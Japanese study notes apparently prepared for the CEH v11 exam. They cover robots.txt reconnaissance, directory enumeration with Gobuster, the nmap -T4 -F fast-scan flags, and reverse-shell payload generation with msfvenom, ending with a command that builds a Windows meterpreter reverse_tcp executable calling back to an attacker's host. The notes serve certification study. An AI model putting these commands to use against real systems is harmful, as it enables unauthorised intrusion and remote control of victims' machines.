Robots.txt ファイルからの情報収集 Web サイトの所有者は、検索結果を提供するために Web クローラーがインデックスを付ける必要があるファイルまたはディレクトリをリストする robots.txt ファイルを作成します。robots.txt ファイルの作成が不十分であると、Web サイトのファイルとディレクトリのインデックスが完全に作成されない可能性があります。機密ファイルやディレクトリにインデックスが付けられている場合、攻撃者はパスワード、電子メール アドレス、隠しリンク、メンバーシップ エリアなどの情報を簡単に入手できる可能性があります。ターゲット Web サイトの所有者が、検索結果を提供するための制限付きページのインデックス作成を許可せずに robots.txt ファイルを作成した場合でも、攻撃者はサイトの robots.txt ファイルを参照して制限付きファイルを発見し、それらを表示して情報を収集することができます。攻撃者は、ブラウザのアドレス バーに URL/robots.txt を入力して、ターゲット Web サイトの robots.txt ファイルを表示します。攻撃者は、Wget ツールを使用して、ターゲット Web サイトの robots.txt ファイルをダウンロードすることもできます。認定倫理ハッカー (CEH) バージョン 11 ページ 1650

Web アプリケーションの分析: ファイルとディレクトリの特定 - アプリケーション、および Web サーバー上でホストされている Web アプリケーションの隠しディレクトリとファイルを列挙します。
Gobuster などのツールは、攻撃者がターゲット Web アプリケーションの隠しファイルやディレクトリを高速で列挙できるようにするディレクトリ スキャナです。# gobuster -u <対象URL> -w common.txt (ワードリスト) (P.1849/1833)

https://nmap.org/book/man-port-specation.html
注: 私の意見では、これは質問に対する完全に間違った記述です。ただし、試験では同様の表現を含む問題に遭遇する可能性があります。「速い」とはどういう意味ですか？スキャンの速度と強度を上げたい場合は、-T フラグ (0/1/2/3/4/5) を使用してモードを選択できます。-T 値を高くすると、ステルス性が犠牲になり、速度が向上しますが、機能は制限されません。
Inmap -T4 -F 10.10.0.0/24 -F フラグがあるため、このオプションは「正しい」です。
-F (高速 (限定ポート) スキャン)
デフォルトよりも少ないポートをスキャンすることを指定します。通常、Nmap はスキャンされたプロトコルごとに最も一般的な 1,000 個のポートをスキャンします。-F を指定すると、これは 100 に減ります。
技術的には、スキャンは高速になりますが、ポートの数を 10 分の 1 に減らしたからといって、実行する作業が 10 分の 1 に減っただけであり、高速になったわけではありません。

https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom Metasploit の最も便利な (そして初心者にとって過小評価されている) 機能の 1 つは、msfpayload モジュールです。このモジュールを使用して複数のペイロードを作成でき、ほぼすべての状況でシェルを提供できるものに役立ちます。これらのペイロードごとに、msfconsole に移動して、exploit/multi/handler を選択できます。使用される関連ペイロードに対して「set payload」を実行し、必要なすべてのオプション (LHOST、LPORT など) を構成します。実行してペイロードが実行されるまで待ちます。以下の例では一目瞭然ですが、LHOST には IP アドレス (ネットワーク内で攻撃する場合は LAN IP、インターネット経由で攻撃する場合は WAN IP) を入力し、LPORT には再接続したいポートを入力する必要があります。
Windows の例:
- msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP アドレス> LPORT=<接続するポート> -f exe >shell.exe